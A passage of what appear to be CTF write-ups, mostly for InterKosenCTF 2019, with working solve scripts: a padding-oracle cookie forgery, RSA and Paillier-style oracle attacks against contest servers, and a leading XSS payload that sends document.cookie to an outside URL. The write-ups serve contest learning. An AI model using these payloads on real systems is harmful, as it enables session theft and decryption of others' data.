<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>?location.href=`https://[url]/?${document.cookie}`#----[---->+<]>--.--[--->+<]>.++++.------.-[--->+<]>--.---[->++++<]>-.-.++++[->+++<]>+.[--->++<]>-----.-[->++<]>.[---->+<]>++.+++++[->+++<]>.-.---------.+++++++++++++..---.+++.[-->+<]>++++.>--[----->+<]>-.[--->+<]>-.[->+++<]>-.+++++++++++.[--->+<]>++++.----[->+++<]>.+++.------------.--.--[--->+<]>-.-----------.++++++.-.[----->++<]>++.[--->++<]>-.++++[->+++<]>.----.--[--->+<]>---.++++[->+++<]>+.+++++.---[->+++<]>-.[--->++<]>-.++.+[->+++<]>.[--->+<]>---.+.--.[--->+<]>++.+++++++++.--------..-[-->+++<]>+.<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-
</code></pre></div></div>
<p>FLAG: HarekazeCTF{I_th1nk_w4sm_1s_e4s1er_t0_re4d_th4n_4smjs}</p>shpik1st placed at NekoLover(@shpik)InterKosenCTF writeup2019-08-12T15:00:00+00:002019-08-12T15:00:00+00:00http://blog.shpik.kr/ctf/2019/08/12/InterKosenCTF<p>1st placed at Mashiro(@Emilia)</p>
<h1 id="crypto">Crypto</h1>
<h2 id="kurukuru-shuffle">Kurukuru Shuffle</h2>
<p>It just shuffled flag.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>encrypted flag : 1m__s4sk_s3np41m1r_836lly_cut3_34799u14}1osenCTF{5sKm
</code></pre></div></div>
<p>This was solved through bruteforce because the number of cases was lower than expected.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">'encrypted'</span><span class="p">,</span><span class="s">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">flag</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="n">read</span><span class="p">()[:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="n">L</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span>
<span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">L</span><span class="p">):</span>
<span class="k">for</span> <span class="n">a</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">L</span><span class="p">):</span>
<span class="k">for</span> <span class="n">b</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">L</span><span class="p">):</span>
<span class="k">if</span> <span class="n">a</span> <span class="o">==</span> <span class="n">b</span><span class="p">:</span>
<span class="k">break</span>
<span class="n">encrypted</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span>
<span class="n">sp</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">tp</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">i</span> <span class="o">=</span> <span class="n">k</span>
<span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">L</span><span class="p">):</span>
<span class="n">sp</span><span class="p">.</span><span class="n">append</span><span class="p">((</span><span class="n">i</span> <span class="o">+</span> <span class="n">a</span><span class="p">)</span> <span class="o">%</span> <span class="n">L</span><span class="p">)</span>
<span class="n">tp</span><span class="p">.</span><span class="n">append</span><span class="p">((</span><span class="n">i</span> <span class="o">+</span> <span class="n">b</span><span class="p">)</span> <span class="o">%</span> <span class="n">L</span><span class="p">)</span>
<span class="n">i</span> <span class="o">=</span> <span class="p">(</span><span class="n">i</span> <span class="o">+</span> <span class="n">k</span><span class="p">)</span> <span class="o">%</span> <span class="n">L</span>
<span class="n">sp</span> <span class="o">=</span> <span class="n">sp</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="n">tp</span> <span class="o">=</span> <span class="n">tp</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="k">for</span> <span class="n">ff</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">sp</span><span class="p">)):</span>
<span class="n">encrypted</span><span class="p">[</span><span class="n">sp</span><span class="p">[</span><span class="n">ff</span><span class="p">]],</span> <span class="n">encrypted</span><span class="p">[</span><span class="n">tp</span><span class="p">[</span><span class="n">ff</span><span class="p">]]</span> <span class="o">=</span> <span class="n">encrypted</span><span class="p">[</span><span class="n">tp</span><span class="p">[</span><span class="n">ff</span><span class="p">]],</span> <span class="n">encrypted</span><span class="p">[</span><span class="n">sp</span><span class="p">[</span><span class="n">ff</span><span class="p">]]</span>
<span class="n">encrypted</span> <span class="o">=</span> <span class="s">""</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">encrypted</span><span class="p">)</span>
<span class="k">if</span> <span class="n">encrypted</span><span class="p">.</span><span class="n">startswith</span><span class="p">(</span><span class="s">'KosenCTF{'</span><span class="p">):</span>
<span class="k">print</span><span class="p">(</span><span class="n">encrypted</span><span class="p">)</span>
</code></pre></div></div>
<p><strong>FLAG</strong> : KosenCTF{us4m1m1_m4sk_s3np41_1s_r34lly_cut3_38769915}</p>
<h2 id="flag-ticket">Flag Ticket</h2>
<p>This chall is vulnerable to <strong>Oracle Padding</strong>.</p>
<p>Here is vulnerable code:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">api</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">"/result"</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">result</span><span class="p">(</span><span class="n">req</span><span class="p">,</span> <span class="n">resp</span><span class="p">):</span>
<span class="k">if</span> <span class="s">"result"</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">req</span><span class="p">.</span><span class="n">cookies</span><span class="p">:</span>
<span class="n">api</span><span class="p">.</span><span class="n">redirect</span><span class="p">(</span><span class="n">resp</span><span class="p">,</span> <span class="n">api</span><span class="p">.</span><span class="n">url_for</span><span class="p">(</span><span class="n">Check</span><span class="p">))</span>
<span class="k">return</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">cipher</span> <span class="o">=</span> <span class="n">unhexlify</span><span class="p">(</span><span class="n">req</span><span class="p">.</span><span class="n">cookies</span><span class="p">[</span><span class="s">"result"</span><span class="p">])</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">cipher</span><span class="p">)</span> <span class="o"><</span> <span class="n">AES</span><span class="p">.</span><span class="n">block_size</span> <span class="o">*</span> <span class="mi">2</span><span class="p">:</span>
<span class="n">resp</span><span class="p">.</span><span class="n">text</span> <span class="o">=</span> <span class="s">"ERROR: cookie should be iv(16) + cipher(16*n)"</span>
<span class="k">return</span>
<span class="n">iv</span><span class="p">,</span> <span class="n">cipher</span> <span class="o">=</span> <span class="n">cipher</span><span class="p">[:</span> <span class="n">AES</span><span class="p">.</span><span class="n">block_size</span><span class="p">],</span> <span class="n">cipher</span><span class="p">[</span><span class="n">AES</span><span class="p">.</span><span class="n">block_size</span> <span class="p">:]</span>
<span class="n">aes</span> <span class="o">=</span> <span class="n">AES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">AES</span><span class="p">.</span><span class="n">MODE_CBC</span><span class="p">,</span> <span class="n">iv</span><span class="p">)</span> <span class="c1"># Here
</span> <span class="n">data</span> <span class="o">=</span> <span class="n">Padding</span><span class="p">.</span><span class="n">unpad</span><span class="p">(</span><span class="n">aes</span><span class="p">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">cipher</span><span class="p">),</span> <span class="n">AES</span><span class="p">.</span><span class="n">block_size</span><span class="p">).</span><span class="n">decode</span><span class="p">()</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">json</span><span class="p">.</span><span class="n">loads</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
<span class="n">resp</span><span class="p">.</span><span class="n">html</span> <span class="o">=</span> <span class="n">api</span><span class="p">.</span><span class="n">template</span><span class="p">(</span><span class="s">"result.html"</span><span class="p">,</span> <span class="n">flag</span><span class="o">=</span><span class="n">flag</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="n">data</span><span class="p">)</span>
<span class="k">except</span> <span class="nb">TypeError</span><span class="p">:</span>
<span class="n">resp</span><span class="p">.</span><span class="n">text</span> <span class="o">=</span> <span class="s">"ERROR: invalid cookie"</span>
<span class="k">except</span> <span class="nb">UnicodeDecodeError</span><span class="p">:</span>
<span class="n">resp</span><span class="p">.</span><span class="n">text</span> <span class="o">=</span> <span class="s">"ERROR: unicode decode error"</span>
<span class="k">except</span> <span class="n">json</span><span class="p">.</span><span class="n">JSONDecodeError</span><span class="p">:</span>
<span class="n">resp</span><span class="p">.</span><span class="n">text</span> <span class="o">=</span> <span class="s">"ERROR: json decode error"</span>
<span class="k">except</span> <span class="nb">ValueError</span><span class="p">:</span>
<span class="n">resp</span><span class="p">.</span><span class="n">text</span> <span class="o">=</span> <span class="s">"ERROR: padding error"</span>
</code></pre></div></div>
<p>So i make some code for oracle padding.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">requests</span>
<span class="n">xor</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">x</span><span class="p">,</span><span class="n">y</span><span class="p">:</span><span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">(</span> <span class="nb">chr</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">i</span><span class="p">)</span><span class="o">^</span><span class="nb">ord</span><span class="p">(</span><span class="n">j</span><span class="p">))</span> <span class="k">for</span> <span class="n">i</span><span class="p">,</span><span class="n">j</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="n">x</span><span class="p">.</span><span class="n">decode</span><span class="p">(</span><span class="s">'hex'</span><span class="p">),</span><span class="n">y</span><span class="p">.</span><span class="n">decode</span><span class="p">(</span><span class="s">'hex'</span><span class="p">)))</span>
<span class="n">cookie</span> <span class="o">=</span> <span class="s">"94bb7574150e71d703c7c0f620abba6e56e8bfc153cc061755ebe2f253840c863befd262907b7a1f6b8836fec7d411710b4654e435c31f52fe73053bc35c8d32"</span>
<span class="n">url</span> <span class="o">=</span> <span class="s">"http://crypto.kosenctf.com:8000/result"</span>
<span class="n">iv</span> <span class="o">=</span> <span class="p">[</span><span class="s">""</span><span class="p">]</span><span class="o">*</span><span class="mi">3</span>
<span class="k">for</span> <span class="n">rounds</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">):</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">16</span><span class="p">):</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mh">0x100</span><span class="p">):</span>
<span class="n">iiv</span> <span class="o">=</span> <span class="s">''</span>
<span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="n">iv</span><span class="p">[</span><span class="n">rounds</span><span class="p">]:</span>
<span class="n">iiv</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">k</span><span class="p">)</span><span class="o">^</span><span class="p">(</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">))</span>
<span class="n">tmp_iv</span> <span class="o">=</span> <span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="n">j</span><span class="p">)</span> <span class="o">+</span> <span class="n">iiv</span><span class="p">).</span><span class="n">rjust</span><span class="p">(</span><span class="mi">16</span><span class="p">,</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">).</span><span class="n">encode</span><span class="p">(</span><span class="s">'hex'</span><span class="p">)</span>
<span class="k">assert</span> <span class="nb">len</span><span class="p">(</span><span class="n">tmp_iv</span><span class="p">)</span> <span class="o">==</span> <span class="mi">32</span>
<span class="n">tmp_cookie</span> <span class="o">=</span> <span class="n">tmp_iv</span> <span class="o">+</span> <span class="n">cookie</span><span class="p">[</span><span class="mi">32</span><span class="o">*</span><span class="n">rounds</span><span class="o">+</span><span class="mi">32</span><span class="p">:</span><span class="mi">32</span><span class="o">*</span><span class="n">rounds</span><span class="o">+</span><span class="mi">64</span><span class="p">]</span>
<span class="n">cookies</span> <span class="o">=</span> <span class="p">{</span><span class="s">"result"</span><span class="p">:</span><span class="n">tmp_cookie</span><span class="p">}</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="p">,</span><span class="n">cookies</span><span class="o">=</span><span class="n">cookies</span><span class="p">)</span>
<span class="n">output</span> <span class="o">=</span> <span class="n">r</span><span class="p">.</span><span class="n">text</span>
<span class="k">if</span> <span class="s">'padding error'</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">output</span><span class="p">:</span>
<span class="n">iv</span><span class="p">[</span><span class="n">rounds</span><span class="p">]</span> <span class="o">=</span> <span class="nb">chr</span><span class="p">(</span><span class="n">j</span><span class="o">^</span><span class="p">(</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">))</span> <span class="o">+</span> <span class="n">iv</span><span class="p">[</span><span class="n">rounds</span><span class="p">]</span>
<span class="k">print</span> <span class="n">iv</span><span class="p">[</span><span class="n">rounds</span><span class="p">].</span><span class="n">encode</span><span class="p">(</span><span class="s">'hex'</span><span class="p">)</span>
<span class="k">break</span>
</code></pre></div></div>
<p>We can get a output <code class="language-plaintext highlighter-rouge">{"is_hit": false</code>.</p>
<p>Try to replace false with true.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">print</span> <span class="n">xor</span><span class="p">(</span><span class="n">xor</span><span class="p">(</span><span class="n">xor</span><span class="p">(</span><span class="n">cookie</span><span class="p">[:</span><span class="mi">32</span><span class="p">],</span><span class="n">iv</span><span class="p">[</span><span class="mi">0</span><span class="p">]).</span><span class="n">encode</span><span class="p">(</span><span class="s">'hex'</span><span class="p">),</span><span class="s">'{"is_hit": true'</span><span class="p">.</span><span class="n">encode</span><span class="p">(</span><span class="s">'hex'</span><span class="p">)).</span><span class="n">encode</span><span class="p">(</span><span class="s">'hex'</span><span class="p">),</span><span class="n">cookie</span><span class="p">[:</span><span class="mi">32</span><span class="p">]).</span><span class="n">encode</span><span class="p">(</span><span class="s">'hex'</span><span class="p">)</span>
</code></pre></div></div>
<p><strong>cookie[‘result’]</strong> : 94bb7574150e71d703c7c0b035b5bc6e56e8bfc153cc061755ebe2f253840c863befd262907b7a1f6b8836fec7d411710b4654e435c31f52fe73053bc35c8d32</p>
<p>Change the cookie to we made.</p>
<p><strong>FLAG</strong> : KosenCTF{padding_orca1e_is_common_sense}</p>
<h2 id="e_s_p">E_S_P</h2>
<p>This chall looks like RSA Challs.</p>
<p>But, we know prefix <code class="language-plaintext highlighter-rouge">Yukko the ESPer: My amazing ESP can help you to get the flag! -----> </code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>N = 11854673881335985163635072085250462726008700043680492953159905880499045049107244300920837378010293967634187346804588819510452454716310449345364124188546434429828696164683059829613371961906369413632824692460386596396440796094037982036847106649198539914928384344336740248673132551761630930934635177708846275801812766262866211038764067901005598991645254669383536667044207899696798812651232711727007656913524974796752223388636251060509176811628992340395409667867485276506854748446486284884567941298744325375140225629065871881284670017042580911891049944582878712176067643299536863795670582466013430445062571854275812914317
e = 5
Wow Yukko the ESPer helps you!
Yukko the ESPer: My amazing ESP can help you to get the flag! -----> the length of the flag = 39
c = 4463634440284027456262787412050107955746015405738173339169842084094411947848024686618605435207920428398544523395749856128886621999609050969517923590260498735658605434612437570340238503179473934990935761387562516430309061482070214173153260521746487974982738771243619694317033056927553253615957773428298050465636465111581387005937843088303377810901324355859871291148445415087062981636966504953157489531400811741347386262410364012023870718810153108997879632008454853198551879739602978644245278315624539189505388294856981934616914835545783613517326663771942178964492093094767168721842335827464550361019195804098479315147
</code></pre></div></div>
<p>I decrypted encrypted message using Stereotyped Messages Attack.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">c</span> <span class="o">=</span> <span class="mi">4463634440284027456262787412050107955746015405738173339169842084094411947848024686618605435207920428398544523395749856128886621999609050969517923590260498735658605434612437570340238503179473934990935761387562516430309061482070214173153260521746487974982738771243619694317033056927553253615957773428298050465636465111581387005937843088303377810901324355859871291148445415087062981636966504953157489531400811741347386262410364012023870718810153108997879632008454853198551879739602978644245278315624539189505388294856981934616914835545783613517326663771942178964492093094767168721842335827464550361019195804098479315147</span>
<span class="n">n</span> <span class="o">=</span> <span class="mi">11854673881335985163635072085250462726008700043680492953159905880499045049107244300920837378010293967634187346804588819510452454716310449345364124188546434429828696164683059829613371961906369413632824692460386596396440796094037982036847106649198539914928384344336740248673132551761630930934635177708846275801812766262866211038764067901005598991645254669383536667044207899696798812651232711727007656913524974796752223388636251060509176811628992340395409667867485276506854748446486284884567941298744325375140225629065871881284670017042580911891049944582878712176067643299536863795670582466013430445062571854275812914317</span>
<span class="n">e</span> <span class="o">=</span> <span class="mi">5</span>
<span class="n">known</span> <span class="o">=</span> <span class="il">42983198277764796429769849778560768556634168265102988738267040585263257346275308818714371333496991474059525021258051487213763741199340195311836730211991606494242875122658745448181510008423679357583966577287602411259972081563162236185696655780004334829694890109L</span>
<span class="n">P</span><span class="p">.</span><span class="o"><</span><span class="n">x</span><span class="o">></span> <span class="o">=</span> <span class="n">PolynomialRing</span><span class="p">(</span><span class="n">Zmod</span><span class="p">(</span><span class="n">n</span><span class="p">))</span>
<span class="n">f</span> <span class="o">=</span> <span class="p">(</span><span class="n">known</span> <span class="o">+</span> <span class="n">x</span><span class="p">)</span><span class="o">^</span><span class="n">e</span> <span class="o">-</span> <span class="n">c</span>
<span class="n">roots</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="n">small_roots</span><span class="p">(</span><span class="n">epsilon</span><span class="o">=</span><span class="mi">1</span><span class="o">/</span><span class="mi">30</span><span class="p">)</span>
<span class="k">print</span> <span class="n">roots</span>
<span class="k">print</span><span class="p">(</span><span class="s">"roots"</span><span class="p">)</span>
<span class="k">for</span> <span class="n">root</span> <span class="ow">in</span> <span class="n">roots</span><span class="p">:</span>
<span class="k">print</span> <span class="n">known</span><span class="o">+</span><span class="n">root</span>
</code></pre></div></div>
<p>roots is <code class="language-plaintext highlighter-rouge">165645493428051547972635989273351968513318730602803338608256193754635776</code>.</p>
<p>Finally i got a flag as <code class="language-plaintext highlighter-rouge">known+root</code></p>
<p><strong>FLAG</strong> : KosenCTF{H0R1_Yukk0_1s_th3_ESP3r_QUEEN}</p>
<h2 id="pascal-homomorphicity">pascal homomorphicity</h2>
<p>This chall is based on RSA, but our input is public exponent.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">secrets</span> <span class="kn">import</span> <span class="n">flag</span>
<span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">getStrongPrime</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">getStrongPrime</span><span class="p">(</span><span class="mi">512</span><span class="p">)</span>
<span class="n">q</span> <span class="o">=</span> <span class="n">getStrongPrime</span><span class="p">(</span><span class="mi">512</span><span class="p">)</span>
<span class="n">n</span> <span class="o">=</span> <span class="n">p</span> <span class="o">*</span> <span class="n">q</span>
<span class="n">key</span> <span class="o">=</span> <span class="nb">int</span><span class="p">.</span><span class="n">from_bytes</span><span class="p">(</span><span class="n">flag</span><span class="p">,</span> <span class="s">"big"</span><span class="p">)</span>
<span class="n">c</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="mi">1</span> <span class="o">+</span> <span class="n">n</span><span class="p">,</span> <span class="n">key</span><span class="p">,</span> <span class="n">n</span> <span class="o">*</span> <span class="n">n</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"I encrypted my secret!!!"</span><span class="p">,</span> <span class="n">flush</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="n">flush</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
<span class="c1"># receive plaintext
</span><span class="k">print</span><span class="p">(</span>
<span class="s">"I encrypt your message ;)"</span><span class="p">,</span>
<span class="n">flush</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span>
<span class="p">)</span>
<span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
<span class="n">plaintext</span> <span class="o">=</span> <span class="nb">input</span><span class="p">(</span><span class="s">"> "</span><span class="p">)</span>
<span class="n">m</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">plaintext</span><span class="p">)</span>
<span class="c1"># check plaintext
</span> <span class="k">if</span> <span class="n">m</span><span class="p">.</span><span class="n">bit_length</span><span class="p">()</span> <span class="o"><</span> <span class="n">key</span><span class="p">.</span><span class="n">bit_length</span><span class="p">():</span>
<span class="k">print</span><span class="p">(</span>
<span class="s">"[!]Your plaintext is too weak. At least {} bits long plaintext is required."</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span>
<span class="n">key</span><span class="p">.</span><span class="n">bit_length</span><span class="p">()</span>
<span class="p">),</span>
<span class="n">flush</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span><span class="s">'K'</span>
<span class="p">)</span>
<span class="k">continue</span>
<span class="c1"># encrypt
</span> <span class="n">c</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="mi">1</span> <span class="o">+</span> <span class="n">n</span><span class="p">,</span> <span class="n">m</span><span class="p">,</span> <span class="n">n</span> <span class="o">*</span> <span class="n">n</span><span class="p">)</span>
<span class="c1"># output
</span> <span class="k">print</span><span class="p">(</span><span class="s">"Thanks. This is your secret message."</span><span class="p">,</span> <span class="n">flush</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="n">flush</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
</code></pre></div></div>
<p>Hm… after some test, i decide to brute force as difference between correct and fail.</p>
<p>What mean?</p>
<p>We know flag prefix <code class="language-plaintext highlighter-rouge">KosenCTF{blahblah}</code> and length 48 characters as <code class="language-plaintext highlighter-rouge">383 bits</code>.</p>
<p>It means if <code class="language-plaintext highlighter-rouge">KosenCTF{00000000000000000000000000000000000000}</code>’s 10th character <code class="language-plaintext highlighter-rouge">0</code> is small than real flag, output is small than encrypted flag.</p>
<p>But if 10th character is correct, output becomes more similar encrypted flag.</p>
<p>Yes, i find the <code class="language-plaintext highlighter-rouge">Longest Common Substring</code>’s length between <strong>encrypted flag</strong> and <strong>encrypted input value.</strong></p>
<p>Here is my exploit code:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">flag</span> <span class="o">=</span> <span class="s">'Th15_15_t00_we4k_p41ll1er_crypt05y5tem'</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">'crypto.kosenctf.com'</span><span class="p">,</span><span class="mi">8002</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">go</span><span class="p">(</span><span class="n">i</span><span class="p">):</span>
<span class="n">tmp</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">i</span><span class="p">.</span><span class="n">encode</span><span class="p">(</span><span class="s">'hex'</span><span class="p">),</span><span class="mi">16</span><span class="p">)</span>
<span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">'>'</span><span class="p">)</span>
<span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">tmp</span><span class="p">))</span>
<span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">'message.</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="k">return</span> <span class="n">r</span><span class="p">.</span><span class="n">recvline</span><span class="p">().</span><span class="n">replace</span><span class="p">(</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">,</span><span class="s">''</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">lcs</span><span class="p">(</span><span class="n">a</span><span class="p">,</span><span class="n">b</span><span class="p">):</span>
<span class="n">aa</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
<span class="n">bb</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="n">b</span><span class="p">)</span>
<span class="n">cnt</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">aa</span><span class="p">)):</span>
<span class="k">if</span> <span class="n">aa</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">==</span><span class="n">bb</span><span class="p">[</span><span class="n">i</span><span class="p">]:</span>
<span class="n">cnt</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">break</span>
<span class="k">return</span> <span class="n">cnt</span>
<span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">'!!!</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">encflag</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">r</span><span class="p">.</span><span class="n">recvline</span><span class="p">().</span><span class="n">replace</span><span class="p">(</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">,</span><span class="s">''</span><span class="p">))</span>
<span class="kn">import</span> <span class="nn">string</span>
<span class="n">charset</span> <span class="o">=</span> <span class="n">string</span><span class="p">.</span><span class="n">printable</span>
<span class="k">while</span> <span class="mi">1</span><span class="p">:</span>
<span class="n">output</span> <span class="o">=</span> <span class="nb">dict</span><span class="p">()</span>
<span class="k">print</span> <span class="n">encflag</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">charset</span><span class="p">:</span>
<span class="n">fake</span> <span class="o">=</span> <span class="s">'KosenCTF{'</span><span class="o">+</span><span class="p">((</span><span class="n">flag</span><span class="o">+</span><span class="n">i</span><span class="p">).</span><span class="n">ljust</span><span class="p">(</span><span class="mi">38</span><span class="p">,</span><span class="s">'0'</span><span class="p">))</span><span class="o">+</span><span class="s">'}'</span>
<span class="n">kk</span> <span class="o">=</span> <span class="n">go</span><span class="p">(</span><span class="n">fake</span><span class="p">)</span>
<span class="n">c</span> <span class="o">=</span> <span class="n">lcs</span><span class="p">(</span><span class="n">encflag</span><span class="p">,</span><span class="n">kk</span><span class="p">)</span>
<span class="k">if</span> <span class="n">c</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">output</span><span class="p">.</span><span class="n">keys</span><span class="p">():</span>
<span class="n">output</span><span class="p">[</span><span class="n">c</span><span class="p">]</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">output</span><span class="p">[</span><span class="n">c</span><span class="p">].</span><span class="n">append</span><span class="p">(</span><span class="n">i</span><span class="p">)</span>
<span class="n">output</span> <span class="o">=</span> <span class="nb">sorted</span><span class="p">(</span><span class="n">output</span><span class="p">.</span><span class="n">items</span><span class="p">(),</span><span class="n">reverse</span> <span class="o">=</span> <span class="bp">True</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">output</span><span class="p">:</span>
<span class="k">print</span> <span class="n">i</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="n">i</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
<span class="n">flag</span> <span class="o">=</span> <span class="nb">raw_input</span><span class="p">(</span><span class="s">'> '</span><span class="p">).</span><span class="n">replace</span><span class="p">(</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">,</span><span class="s">''</span><span class="p">)</span>
<span class="k">if</span> <span class="n">flag</span> <span class="o">==</span> <span class="s">'q'</span><span class="p">:</span>
<span class="k">break</span>
<span class="n">r</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
</code></pre></div></div>
<p><strong>FLAG</strong> : KosenCTF{Th15_15_t00_we4k_p41ll1er_crypt05y5tem}</p>
<h1 id="forensics">Forensics</h1>
<h2 id="hugtto">Hugtto!</h2>
<p>It’s steganography challs.</p>
<p>The least bit is set, it means flag’s 1 bit is 1.</p>
<p>The opposite case flag’s 1 bit is 0.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">PIL</span> <span class="kn">import</span> <span class="n">Image</span>
<span class="kn">from</span> <span class="nn">secret</span> <span class="kn">import</span> <span class="n">flag</span>
<span class="kn">from</span> <span class="nn">datetime</span> <span class="kn">import</span> <span class="n">datetime</span>
<span class="kn">import</span> <span class="nn">tarfile</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">random</span>
